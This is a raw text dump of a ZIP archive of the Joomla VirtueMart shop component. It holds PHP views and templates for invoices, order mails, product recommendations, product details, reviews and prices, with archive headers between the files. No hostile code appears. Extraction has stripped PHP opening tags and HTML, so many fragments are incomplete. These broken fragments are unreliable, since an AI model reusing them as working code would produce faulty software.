JText::_('COM_VIRTUEMART_ORDER_NOTFOUND'); return 0; } if(!empty($orderDetails['details']['BT']->order_language)) { VmConfig::loadJLang('com_virtuemart',true, $orderDetails['details']['BT']->order_language); VmConfig::loadJLang('com_virtuemart_shoppers',true, $orderDetails['details']['BT']->order_language); VmConfig::loadJLang('com_virtuemart_orders',true, $orderDetails['details']['BT']->order_language); } $this->assignRef('orderDetails', $orderDetails); // if it is order print, invoice number should not be created, either it is there, either it has not been created if(empty($this->invoiceNumber) and !$order_print){ $invoiceNumberDate=array(); if ( $orderModel->createInvoiceNumber($orderDetails['details']['BT'], $invoiceNumberDate)) { if (ShopFunctions::InvoiceNumberReserved( $invoiceNumberDate[0])) { if ($this->uselayout!='mail') { $document->setTitle( JText::_('COM_VIRTUEMART_PAYMENT_INVOICE') ); return ; } } $this->invoiceNumber = $invoiceNumberDate[0]; $this->invoiceDate = $invoiceNumberDate[1]; if(!$this->invoiceNumber or empty($this->invoiceNumber)){ vmError('Cant create pdf, createInvoiceNumber failed'); if ($this->uselayout!='mail') { return ; } } } else { // Could OR should not create Invoice Number, createInvoiceNumber failed if ($this->uselayout!='mail') { return ; } } } //Todo multix $vendorId=1; $emailCurrencyId = $orderDetails['details']['BT']->user_currency_id; $exchangeRate=FALSE; if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmgetEmailCurrency',array( $orderDetails['details']['BT']->virtuemart_paymentmethod_id, $orderDetails['details']['BT']->virtuemart_order_id, &$emailCurrencyId)); if(!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'currencydisplay.php'); $currency = CurrencyDisplay::getInstance($emailCurrencyId,$vendorId); if ($emailCurrencyId) { $currency->exchangeRateShopper=$orderDetails['details']['BT']->user_currency_rate; } $this->assignRef('currency', $currency); //Create BT address fields $userFieldsModel = VmModel::getModel('userfields'); $_userFields = $userFieldsModel->getUserFields( 'account' , array('captcha' => true, 'delimiters' => true) // Ignore these types , array('delimiter_userinfo','user_is_vendor' ,'username','password', 'password2', 'agreed', 'address_type') // Skips ); $userfields = $userFieldsModel->getUserFieldsFilled( $_userFields ,$orderDetails['details']['BT']); $this->assignRef('userfields', $userfields); //Create ST address fields $orderst = (array_key_exists('ST', $orderDetails['details'])) ? $orderDetails['details']['ST'] : $orderDetails['details']['BT']; $shipmentFieldset = $userFieldsModel->getUserFields( 'shipment' , array() // Default switches , array('delimiter_userinfo', 'username', 'email', 'password', 'password2', 'agreed', 'address_type') // Skips ); $shipmentfields = $userFieldsModel->getUserFieldsFilled( $shipmentFieldset ,$orderst ); $this->assignRef('shipmentfields', $shipmentfields); $civility=""; foreach ($userfields['fields'] as $field) { if ($field['name']=="title") { $civility=$field['value']; break; } } $company= empty($orderDetails['details']['BT']->company) ?"":$orderDetails['details']['BT']->company.", "; $shopperName = $company. $civility.' '.$orderDetails['details']['BT']->first_name.' '.$orderDetails['details']['BT']->last_name; $this->assignRef('shopperName', $shopperName); $this->assignRef('civility', $civility); // Create an array to allow orderlinestatuses to be translated // We'll probably want to put this somewhere in ShopFunctions.. $orderStatusModel = VmModel::getModel('orderstatus'); $_orderstatuses = $orderStatusModel->getOrderStatusList(); $orderstatuses = array(); foreach ($_orderstatuses as $_ordstat) { $orderstatuses[$_ordstat->order_status_code] = JText::_($_ordstat->order_status_name); } $this->assignRef('orderstatuslist', $orderstatuses); $this->assignRef('orderstatuses', $orderstatuses); $_itemStatusUpdateFields = array(); $_itemAttributesUpdateFields = array(); foreach($orderDetails['items'] as $_item) { // $_itemStatusUpdateFields[$_item->virtuemart_order_item_id] = JHTML::_('select.genericlist', $orderstatuses, "item_id[".$_item->virtuemart_order_item_id."][order_status]", 'class="selectItemStatusCode"', 'order_status_code', 'order_status_name', $_item->order_status, 'order_item_status'.$_item->virtuemart_order_item_id,true); $_itemStatusUpdateFields[$_item->virtuemart_order_item_id] = $_item->order_status; } if (empty($orderDetails['shipmentName']) ) { if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmOnShowOrderFEShipment',array( $orderDetails['details']['BT']->virtuemart_order_id, $orderDetails['details']['BT']->virtuemart_shipmentmethod_id, &$orderDetails['shipmentName'])); } if (empty($orderDetails['paymentName']) ) { if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmOnShowOrderFEPayment',array( $orderDetails['details']['BT']->virtuemart_order_id, $orderDetails['details']['BT']->virtuemart_paymentmethod_id, &$orderDetails['paymentName'])); } $virtuemart_vendor_id=1; $vendorModel = VmModel::getModel('vendor'); $vendor = $vendorModel->getVendor($virtuemart_vendor_id); $vendorModel->addImages($vendor); $vendor->vendorFields = $vendorModel->getVendorAddressFields(); if (VmConfig::get ('enable_content_plugin', 0)) { if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); shopFunctionsF::triggerContentPlugin($vendor, 'vendor','vendor_store_desc'); shopFunctionsF::triggerContentPlugin($vendor, 'vendor','vendor_terms_of_service'); shopFunctionsF::triggerContentPlugin($vendor, 'vendor','vendor_legal_info'); } $this->assignRef('vendor', $vendor); // vmdebug('vendor', $vendor); if (strpos($layout,'mail') !== false) { $lineSeparator="
              "; } else { $lineSeparator="\n"; } $this->assignRef('headFooter', $this->showHeaderFooter); //Attention, this function will be removed, it wont be deleted, but it is obsoloete in any view.html.php if(!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $vendorAddress= shopFunctions::renderVendorAddress($virtuemart_vendor_id, $lineSeparator); $this->assignRef('vendorAddress', $vendorAddress); $vendorEmail = $vendorModel->getVendorEmail($virtuemart_vendor_id); $vars['vendorEmail'] = $vendorEmail; // this is no setting in BE to change the layout ! //shopFunctionsF::setVmTemplate($this,0,0,$layoutName); //vmdebug('renderMailLayout invoice '.date('H:i:s'),$this->order); if (strpos($layout,'mail') !== false) { if ($this->doVendor) { //Old text key COM_VIRTUEMART_MAIL_SUBJ_VENDOR_C $this->subject = JText::sprintf('COM_VIRTUEMART_MAIL_SUBJ_VENDOR_'.$orderDetails['details']['BT']->order_status, $this->shopperName, strip_tags($currency->priceDisplay($orderDetails['details']['BT']->order_total, $currency)), $orderDetails['details']['BT']->order_number); $recipient = 'vendor'; } else { $this->subject = JText::sprintf('COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_'.$orderDetails['details']['BT']->order_status, $vendor->vendor_store_name, strip_tags($currency->priceDisplay($orderDetails['details']['BT']->order_total, $currency)), $orderDetails['details']['BT']->order_number ); $recipient = 'shopper'; } $this->assignRef('recipient', $recipient); } $tpl = null; // vmdebug('my view data',$this->getLayout(),$layout); // ob_start(); // echo '
              ';
              // 		echo debug_print_backtrace();
              // 		echo '
              '; // $dumptrace = ob_get_contents(); // ob_end_clean(); // return false; parent::display($tpl); } // FE public function renderMailLayout($doVendor=false) function renderMailLayout ($doVendor, $recipient) { $this->doVendor=$doVendor; $this->frompdf=false; $this->uselayout = 'mail'; $this->display(); } static function replaceVendorFields ($txt, $vendor) { // TODO: Implement more Placeholders (ordernr, invoicenr, etc.); // REMEMBER TO CHANGE VmVendorPDF::replace_variables IN vmpdf.php, TOO!!! // Page nrs. for mails is always "1" $txt = str_replace('{vm:pagenum}', "1", $txt); $txt = str_replace('{vm:pagecount}', "1", $txt); $txt = str_replace('{vm:vendorname}', $vendor->vendor_store_name, $txt); $imgrepl=''; if (!empty($vendor->images)) { $img = $vendor->images[0]; $imgrepl = "
              ".$img->displayIt($img->file_url,'','',false, '', false, false)."
              "; } $txt = str_replace('{vm:vendorimage}', $imgrepl, $txt); $vendorAddress = shopFunctions::renderVendorAddress($vendor->virtuemart_vendor_id, "
              "); // Trim the final
              from the address, which is inserted by renderVendorAddress automatically! if (substr($vendorAddress, -5, 5) == '
              ') { $vendorAddress = substr($vendorAddress, 0, -5); } $txt = str_replace('{vm:vendoraddress}', $vendorAddress, $txt); $txt = str_replace('{vm:vendorlegalinfo}', $vendor->vendor_legal_info, $txt); $txt = str_replace('{vm:vendordescription}', $vendor->vendor_store_desc, $txt); $txt = str_replace('{vm:tos}', $vendor->vendor_terms_of_service, $txt); return "$txt"; } } PKGy>\)&com_virtuemart/views/invoice/.htaccessnuW+A Order allow,deny Deny from all PKGy>\Q,com_virtuemart/views/recommend/view.html.phpnuW+Aredirect(JRoute::_('index.php?option=com_virtuemart')); } $this->login = ''; if(!VmConfig::get('recommend_unauth',false)){ $user = JFactory::getUser(); if($user->guest){ $this->login = shopFunctionsF::getLoginForm(false); //$app->redirect(JRoute::_('index.php?option=com_virtuemart','JGLOBAL_YOU_MUST_LOGIN_FIRST')); } } // Load the product $productModel = VmModel::getModel('product'); $virtuemart_product_id = vRequest::getInt('virtuemart_product_id',0); $this->product = $productModel->getProduct ($virtuemart_product_id); $layout = $this->getLayout(); if($layout != 'form' and $layout != 'mail_confirmed'){ return $this->renderMailLayout('',''); } $show_prices = VmConfig::get('show_prices',1); if($show_prices == '1'){ if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); } $this->assignRef('show_prices', $show_prices); $document = JFactory::getDocument(); $document->setMetaData('robots','NOINDEX, NOFOLLOW, NOARCHIVE, NOSNIPPET'); /* add javascript for price and cart */ //vmJsApi::jPrice(); $mainframe = JFactory::getApplication(); $pathway = $mainframe->getPathway(); $task = JRequest::getCmd('task'); if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); if(empty($virtuemart_product_id)){ self::showLastCategory($tpl); return; } //$product = $productModel->getProduct($virtuemart_product_id); /* Set Canonic link */ $format = JRequest::getWord('format', 'html'); if ($format == 'html') { $document->addHeadLink( $this->product->link , 'canonical', 'rel', '' ); } /* Set the titles */ $document->setTitle(JText::sprintf('COM_VIRTUEMART_PRODUCT_DETAILS_TITLE',$this->product->product_name.' - '.JText::_('COM_VIRTUEMART_PRODUCT_RECOMMEND'))); if(empty($this->product)){ self::showLastCategory($tpl); return; } $productModel->addImages($this->product,1); /* Load the category */ $category_model = VmModel::getModel('category'); /* Get the category ID */ $virtuemart_category_id = JRequest::getInt('virtuemart_category_id'); if ($virtuemart_category_id == 0 && !empty($this->product)) { if (array_key_exists('0', $this->product->categories)) $virtuemart_category_id = $this->product->categories[0]; } if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); shopFunctionsF::setLastVisitedCategoryId($virtuemart_category_id); if($category_model){ $category = $category_model->getCategory($virtuemart_category_id); $this->assignRef('category', $category); $pathway->addItem($category->category_name,JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id='.$virtuemart_category_id, FALSE)); } //$pathway->addItem(JText::_('COM_VIRTUEMART_PRODUCT_DETAILS'), $uri->toString(array('path', 'query', 'fragment'))); $pathway->addItem($this->product->product_name,JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_category_id='.$virtuemart_category_id.'&virtuemart_product_id='.$this->product->virtuemart_product_id, FALSE)); // for askquestion $pathway->addItem( JText::_('COM_VIRTUEMART_PRODUCT_ASK_QUESTION')); /* Check for editing access */ /** @todo build edit page */ /* Load the user details */ $this->assignRef('user', JFactory::getUser()); if ($this->product->metadesc) { $document->setDescription( $this->product->metadesc ); } if ($this->product->metakey) { $document->setMetaData('keywords', $this->product->metakey); } if ($mainframe->getCfg('MetaTitle') == '1') { $document->setMetaData('title', $this->product->product_s_desc); //Maybe better product_name } if ($mainframe->getCfg('MetaAuthor') == '1') { $document->setMetaData('author', $this->product->metaauthor); } parent::display($tpl); } function renderMailLayout($doVendor, $recipient) { $this->comment = nl2br(JRequest::getString('comment')); $this->name = vRequest::getString('name'); if (VmConfig::get ('order_mail_html')) { $tpl = 'mail_html'; } else { $tpl = 'mail_raw'; } $this->setLayout ($tpl); // Load the product $productModel = VmModel::getModel('product'); $virtuemart_product_id = vRequest::getInt('virtuemart_product_id',0); $this->product = $productModel->getProduct ($virtuemart_product_id); $productModel->addImages($this->product); $layout = $this->getLayout(); //if($layout != 'form' and $layout != 'mail_confirmed'){ $user = JFactory::getUser (); $vars['user'] = array('name' => $user->name, 'email' => $user->email); $vars['vendorEmail'] = $user->email; $vendorModel = VmModel::getModel ('vendor'); $this->vendor = $vendorModel->getVendor ($this->product->virtuemart_vendor_id); $vendorModel->addImages ($this->vendor); $this->vendor->vendorFields = $vendorModel->getVendorAddressFields(); $vars['vendorAddress']= shopFunctions::renderVendorAddress($this->product->virtuemart_vendor_id, ' - '); $this->vendor->vendor_name =$user->name; foreach( $vars as $key => $val ) { $this->$key = $val; } $this->subject = JText::sprintf('COM_VIRTUEMART_RECOMMEND_PRODUCT',$this->name, $this->product->product_name); parent::display(); } private function showLastCategory($tpl) { $virtuemart_category_id = shopFunctionsF::getLastVisitedCategoryId(); $categoryLink=''; if($virtuemart_category_id){ $categoryLink='&virtuemart_category_id='.$virtuemart_category_id; } $continue_link = JRoute::_('index.php?option=com_virtuemart&view=category'.$categoryLink, FALSE); $continue_link_html = ''.JText::_('COM_VIRTUEMART_CONTINUE_SHOPPING').''; $this->assignRef('continue_link_html', $continue_link_html); // Display it all parent::display($tpl); } } // pure php no closing tagPKGy>\J+com_virtuemart/views/recommend/metadata.xmlnuW+A PKGy>\)com_virtuemart/views/recommend/index.htmlnuW+APKGy>\)-com_virtuemart/views/recommend/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\.com_virtuemart/views/recommend/tmpl/index.htmlnuW+APKGy>\_,com_virtuemart/views/recommend/tmpl/form.phpnuW+AaddScriptDeclaration(' jQuery(function($){ $("#askform").validationEngine("attach"); var counterResult = $("#comment").val().length; $("#counter").val( counterResult ); $("#comment").keyup( function () { var result = $(this).val(); $("#counter").val( result.length ); }); }); '); $vendorModel = VmModel::getModel ('vendor'); $this->vendor = $vendorModel->getVendor ($this->product->virtuemart_vendor_id); /* Let's see if we found the product */ if (empty ( $this->product )) { echo JText::_ ( 'COM_VIRTUEMART_PRODUCT_NOT_FOUND' ); echo '

              ' . $this->continue_link_html; } else { $session = JFactory::getSession(); $mailRecommendData = $session->get('mailrecommend', 0, 'vm'); if(!empty($this->login)){ echo $this->login; } if(empty($this->login) or VmConfig::get('recommend_unauth',false)){ ?>

              product->product_name ?>

              product->product_s_desc)) { ?>
              product->product_s_desc ?>
              product->images[0]->displayMediaThumb('class="modal product-image"',false); ?>
              trigger('onInit','dynamic_recaptcha_1'); ?>
              PKGy>\%n,com_virtuemart/views/recommend/tmpl/form.xmlnuW+A PKGy>\j_tt6com_virtuemart/views/recommend/tmpl/mail_confirmed.phpnuW+A
              PKGy>\A7 7 1com_virtuemart/views/recommend/tmpl/mail_html.phpnuW+A
              vendorAddress; ?>
              PKGy>\T@))0com_virtuemart/views/recommend/tmpl/mail_raw.phpnuW+AvendorAddress; echo "\n"; echo "\n"; echo JText::sprintf ('COM_VIRTUEMART_MAIL_SHOPPER_NAME', $this->user->name); echo "\n"; echo "\n"; echo JText::sprintf('COM_VIRTUEMART_RECOMMEND_MAIL_MSG', $this->product->product_name, $this->comment); echo "\n"; $link = JURI::root().'index.php?option=com_virtuemart'; echo "\n\n"; $link= JHTML::_('link', $link, $this->vendor->vendor_name) ; /* GENERAL FOOTER FOR ALL MAILS */ echo JText::_('COM_VIRTUEMART_MAIL_FOOTER' ) . $link; echo "\n"; echo $this->vendor->vendor_name ."\n".$this->vendor->vendor_phone .' '.$this->vendor->vendor_store_name ."\n".strip_tags($this->vendor->vendor_store_desc)."\n".str_replace('
              ',"\n",$this->vendor->vendor_legal_info); echo JText::sprintf('COM_VIRTUEMART_RECOMMEND_MAIL_MSG', $this->product->product_name, $this->comment); $link = JURI::root().'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id='.$this->product->virtuemart_product_id ; echo '
              '.JHTML::_('link',$link, $this->product->product_name).''; include(JPATH_VM_SITE.DS.'views'.DS.'cart'.DS.'tmpl'.DS.'mail_html_footer.php'); PKGy>\)(com_virtuemart/views/recommend/.htaccessnuW+A Order allow,deny Deny from all PKGy>\7111com_virtuemart/views/productdetails/view.html.phpnuW+AassignRef('show_prices', $show_prices); $document = JFactory::getDocument(); // add javascript for price and cart, need even for quantity buttons, so we need it almost anywhere vmJsApi::jPrice(); $mainframe = JFactory::getApplication(); $pathway = $mainframe->getPathway(); $task = JRequest::getCmd('task'); if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); // Load the product //$product = $this->get('product'); //Why it is sensefull to use this construction? Imho it makes it just harder $product_model = VmModel::getModel('product'); $this->assignRef('product_model', $product_model); $virtuemart_product_idArray = JRequest::getVar('virtuemart_product_id', 0); if (is_array($virtuemart_product_idArray) and count($virtuemart_product_idArray) > 0) { $virtuemart_product_id = (int)$virtuemart_product_idArray[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_idArray; } $quantityArray = JRequest::getVar ('quantity', array()); //is sanitized then JArrayHelper::toInteger ($quantityArray); $quantity = 1; if (!empty($quantityArray[0])) { $quantity = $quantityArray[0]; } $product = $product_model->getProduct($virtuemart_product_id,TRUE,TRUE,TRUE,$quantity); if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); $last_category_id = shopFunctionsF::getLastVisitedCategoryId(); if (empty($product->slug)) { //Todo this should be redesigned to fit better for SEO $mainframe->enqueueMessage(JText::_('COM_VIRTUEMART_PRODUCT_NOT_FOUND')); $categoryLink = ''; if (!$last_category_id) { $last_category_id = JRequest::getInt('virtuemart_category_id', false); } if ($last_category_id) { $categoryLink = '&virtuemart_category_id=' . $last_category_id; } if (VmConfig::get('handle_404',1)) { $mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=category' . $categoryLink . '&error=404', FALSE)); } else { JError::raise(E_ERROR,'404','Not found'); } return; } if (!empty($product->customfields)) { foreach ($product->customfields as $k => $custom) { if (!empty($custom->layout_pos)) { $product->customfieldsSorted[$custom->layout_pos][] = $custom; unset($product->customfields[$k]); } } $product->customfieldsSorted['normal'] = $product->customfields; unset($product->customfields); } $product->event = new stdClass(); $product->event->afterDisplayTitle = ''; $product->event->beforeDisplayContent = ''; $product->event->afterDisplayContent = ''; if (VmConfig::get('enable_content_plugin', 0)) { shopFunctionsF::triggerContentPlugin($product, 'productdetails','product_desc'); } $product_model->addImages($product); $this->assignRef('product', $product); if (isset($product->min_order_level) && (int) $product->min_order_level > 0) { $min_order_level = $product->min_order_level; } else { $min_order_level = 1; } $this->assignRef('min_order_level', $min_order_level); if (isset($product->step_order_level) && (int) $product->step_order_level > 0) { $step_order_level = $product->step_order_level; } else { $step_order_level = 1; } $this->assignRef('step_order_level', $step_order_level); // Load the neighbours if (VmConfig::get('product_navigation', 1)) { $product->neighbours = $product_model->getNeighborProducts($product); } // Load the category $category_model = VmModel::getModel('category'); shopFunctionsF::setLastVisitedCategoryId($product->virtuemart_category_id); if ($category_model) { $category = $category_model->getCategory($product->virtuemart_category_id); $category_model->addImages($category, 1); $this->assignRef('category', $category); //Seems we dont need this anylonger, destroyed the breadcrumb if ($category->parents) { foreach ($category->parents as $c) { if(is_object($c) and isset($c->category_name)){ $pathway->addItem(strip_tags($c->category_name), JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id=' . $c->virtuemart_category_id, FALSE)); } else { vmdebug('Error, parent category has no name, breadcrumb maybe broken, category',$c); } } } $category->children = $category_model->getChildCategoryList($product->virtuemart_vendor_id, $product->virtuemart_category_id); $category_model->addImages($category->children, 1); } if (!empty($tpl)) { $format = $tpl; } else { $format = JRequest::getWord('format', 'html'); } if ($format == 'html') { // Set Canonic link $document->addHeadLink($product->canonical, 'canonical', 'rel', ''); } $pathway->addItem(strip_tags($product->product_name)); // Set the titles // $document->setTitle should be after the additem pathway if ($product->customtitle) { $document->setTitle(strip_tags($product->customtitle)); } else { $document->setTitle(strip_tags(($category->category_name ? ($category->category_name . ' : ') : '') . $product->product_name)); } $ratingModel = VmModel::getModel('ratings'); $allowReview = $ratingModel->allowReview($product->virtuemart_product_id); $this->assignRef('allowReview', $allowReview); $showReview = $ratingModel->showReview($product->virtuemart_product_id); $this->assignRef('showReview', $showReview); if ($showReview) { $review = $ratingModel->getReviewByProduct($product->virtuemart_product_id); $this->assignRef('review', $review); $rating_reviews = $ratingModel->getReviews($product->virtuemart_product_id); $this->assignRef('rating_reviews', $rating_reviews); } $showRating = $ratingModel->showRating($product->virtuemart_product_id); $this->assignRef('showRating', $showRating); if ($showRating) { $vote = $ratingModel->getVoteByProduct($product->virtuemart_product_id); $this->assignRef('vote', $vote); $rating = $ratingModel->getRatingByProduct($product->virtuemart_product_id); $this->assignRef('rating', $rating); } $allowRating = $ratingModel->allowRating($product->virtuemart_product_id); $this->assignRef('allowRating', $allowRating); // Check for editing access // @todo build edit page if (!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); //if (Permissions::getInstance()->check("admin,storeadmin")) { $perm = Permissions::getInstance(); $admin = $perm->check("admin"); if(!$admin) vmdebug('No admin'); $storeadmin = $perm->check("admin,storeadmin"); if(!$storeadmin) vmdebug('No $storeadmin'); $superVendor = $perm->isSuperVendor(); if(!$superVendor) vmdebug('No $superVendor'); if($admin or ($perm->isSuperVendor()==$product->virtuemart_vendor_id and $storeadmin)){ $edit_link = JURI::root() . 'index.php?option=com_virtuemart&tmpl=component&view=product&task=edit&virtuemart_product_id=' . $product->virtuemart_product_id; $edit_link = $this->linkIcon($edit_link, 'COM_VIRTUEMART_PRODUCT_FORM_EDIT_PRODUCT', 'edit', false, false); } else { $edit_link = ""; } $this->assignRef('edit_link', $edit_link); // todo: atm same form for "call for price" and "ask a question". Title of the form should be different $askquestion_url = JRoute::_('index.php?option=com_virtuemart&view=productdetails&task=askquestion&virtuemart_product_id=' . $product->virtuemart_product_id . '&virtuemart_category_id=' . $product->virtuemart_category_id . '&tmpl=component', FALSE); $this->assignRef('askquestion_url', $askquestion_url); // Load the user details $user = JFactory::getUser(); $this->assignRef('user',$user); // More reviews link $uri = JURI::getInstance(); $uri->setVar('showall', 1); $uristring = vmURI::getCleanUrl(); $this->assignRef('more_reviews', $uristring); if ($product->metadesc) { $document->setDescription($product->metadesc); } if ($product->metakey) { $document->setMetaData('keywords', $product->metakey); } if ($product->metarobot) { $document->setMetaData('robots', $product->metarobot); } if ($mainframe->getCfg('MetaTitle') == '1') { $document->setMetaData('title', $product->product_name); //Maybe better product_name } if ($mainframe->getCfg('MetaAuthor') == '1') { $document->setMetaData('author', $product->metaauthor); } $showBasePrice = Permissions::getInstance()->check('admin'); //todo add config settings $this->assignRef('showBasePrice', $showBasePrice); $productDisplayShipments = array(); $productDisplayPayments = array(); if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmOnProductDisplayShipment', array($product, &$productDisplayShipments)); $returnValues = $dispatcher->trigger('plgVmOnProductDisplayPayment', array($product, &$productDisplayPayments)); $this->assignRef('productDisplayPayments', $productDisplayPayments); $this->assignRef('productDisplayShipments', $productDisplayShipments); if (empty($category->category_template)) { $category->category_template = VmConfig::get('categorytemplate'); } shopFunctionsF::setVmTemplate($this, $category->category_template, $product->product_template, $category->category_product_layout, $product->layout); shopFunctionsF::addProductToRecent($virtuemart_product_id); $currency = CurrencyDisplay::getInstance(); $this->assignRef('currency', $currency); if(JRequest::getCmd( 'layout', 'default' )=='notify') $this->setLayout('notify'); //Added by Seyi Awofadeju to catch notify layout parent::display($tpl); } function renderMailLayout ($doVendor, $recipient) { $tpl = VmConfig::get('order_mail_html') ? 'mail_html_notify' : 'mail_raw_notify'; $this->doVendor=$doVendor; $this->fromPdf=false; $this->uselayout = $tpl; $this->subject = !empty($this->subject) ? $this->subject : JText::_('COM_VIRTUEMART_CART_NOTIFY_MAIL_SUBJECT'); $this->layoutName = $tpl; $this->setLayout($tpl); parent::display(); } private function showLastCategory($tpl) { $virtuemart_category_id = shopFunctionsF::getLastVisitedCategoryId(); $categoryLink = ''; if ($virtuemart_category_id) { $categoryLink = '&virtuemart_category_id=' . $virtuemart_category_id; } $continue_link = JRoute::_('index.php?option=com_virtuemart&view=category' . $categoryLink, FALSE); $continue_link_html = '' . JText::_('COM_VIRTUEMART_CONTINUE_SHOPPING') . ''; $this->assignRef('continue_link_html', $continue_link_html); // Display it all parent::display($tpl); } } // pure php no closing tagPKGy>\@Fcom_virtuemart/views/productdetails/tmpl/default_relatedcategories.phpnuW+A PKGy>\sScmpp<com_virtuemart/views/productdetails/tmpl/default_reviews.phpnuW+AallowRating || $this->showReview) { $maxrating = VmConfig::get ('vm_maximum_rating_scale', 5); $ratingsShow = VmConfig::get ('vm_num_ratings_show', 3); // TODO add vm_num_ratings_show in vmConfig $stars = array(); $showall = JRequest::getBool ('showall', FALSE); $ratingWidth = $maxrating * 24; for ($num = 0; $num <= $maxrating; $num++) { $stars[] = ' '; } ?>
              showReview) { ?>

              rating_reviews) { foreach ($this->rating_reviews as $review) { if ($i % 2 == 0) { $color = 'normal'; } else { $color = 'highlight'; } /* Check if user already commented */ // if ($review->virtuemart_userid == $this->user->id ) { if ($review->created_by == $this->user->id && !$review->review_editable) { $review_editable = FALSE; } ?> rating_reviews) && $review->published) { $reviews_published++; ?>
              created_on, JText::_ ('DATE_FORMAT_LC')); ?> review_rating] ?>
              comment; ?>
              customer ?>
              = $ratingsShow) { $attribute = array('class'=> 'details', 'title'=> JText::_ ('COM_VIRTUEMART_MORE_REVIEWS')); echo JHTML::link ($this->more_reviews, JText::_ ('COM_VIRTUEMART_MORE_REVIEWS'), $attribute); } break; } } } else { // "There are no reviews for this product" ?>
              allowReview) { ?>
              " . VmConfig::get ('reviews_maximum_comment_length', 2000) . ") { alert('" . addslashes (JText::sprintf ('COM_VIRTUEMART_REVIEW_ERR_COMMENT2_JS', VmConfig::get ('reviews_maximum_comment_length', 2000))) . "'); return false; } else { return true; } } function refresh_counter() { var form = document.getElementById('reviewform'); form.counter.value= form.comment.value.length; } jQuery(function($) { var steps = " . $maxrating . "; var parentPos= $('.write-reviews .ratingbox').position(); var boxWidth = $('.write-reviews .ratingbox').width();// nbr of total pixels var starSize = (boxWidth/steps); var ratingboxPos= $('.write-reviews .ratingbox').offset(); $('.write-reviews .ratingbox').mousemove( function(e){ var span = $(this).children(); var dif = e.pageX-ratingboxPos.left; // nbr of pixels difRatio = Math.floor(dif/boxWidth* steps )+1; //step span.width(difRatio*starSize); $('#vote').val(difRatio); //console.log('note = ', difRatio); }); }); //]]> "; $document = JFactory::getDocument (); $document->addScriptDeclaration ($reviewJavascript); if ($this->showRating) { if ($this->allowRating && $review_editable) { ?>





              ' . JText::_ ('COM_VIRTUEMART_DEAR') . $this->user->name . ',
              '; echo JText::_ ('COM_VIRTUEMART_REVIEW_ALREADYDONE'); } ?>
              allowRating || $this->showReview) { ?>
              \#o,,3com_virtuemart/views/productdetails/tmpl/index.htmlnuW+APKGy>\ۑDcom_virtuemart/views/productdetails/tmpl/default_relatedproducts.phpnuW+A PKGy>\U/ Acom_virtuemart/views/productdetails/tmpl/default_showcategory.phpnuW+Acategory->haschildren) { $iCol = 1; $iCategory = 1; $categories_per_row = VmConfig::get('categories_per_row', 3); $category_cellwidth = ' width' . floor(100 / $categories_per_row); $verticalseparator = " vertical-separator"; ?>
              category->children)) { foreach ($this->category->children as $category) { // Show the horizontal seperator if ($iCol == 1 && $iCategory > $categories_per_row) { ?>
              \rzoo?com_virtuemart/views/productdetails/tmpl/default_showprices.phpnuW+A
              product->prices['salesPrice'])) { echo "" . JText::_ ('COM_VIRTUEMART_CART_PRICE') . ""; } //vmdebug('view productdetails layout default show prices, prices',$this->product); if ($this->product->prices['salesPrice']<=0 and VmConfig::get ('askprice', 1) and isset($this->product->images[0]) and !$this->product->images[0]->file_is_downloadable) { ?> showBasePrice) { echo $this->currency->createPriceDiv ('basePrice', 'COM_VIRTUEMART_PRODUCT_BASEPRICE', $this->product->prices); if (round($this->product->prices['basePrice'],$this->currency->_priceConfig['basePriceVariant'][1]) != $this->product->prices['basePriceVariant']) { echo $this->currency->createPriceDiv ('basePriceVariant', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT', $this->product->prices); } } echo $this->currency->createPriceDiv ('variantModification', 'COM_VIRTUEMART_PRODUCT_VARIANT_MOD', $this->product->prices); if (round($this->product->prices['basePriceWithTax'],$this->currency->_priceConfig['salesPrice'][1]) != $this->product->prices['salesPrice']) { echo '' . $this->currency->createPriceDiv ('basePriceWithTax', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX', $this->product->prices) . ""; } if (round($this->product->prices['salesPriceWithDiscount'],$this->currency->_priceConfig['salesPrice'][1]) != $this->product->prices['salesPrice']) { echo $this->currency->createPriceDiv ('salesPriceWithDiscount', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT', $this->product->prices); } echo $this->currency->createPriceDiv ('salesPrice', 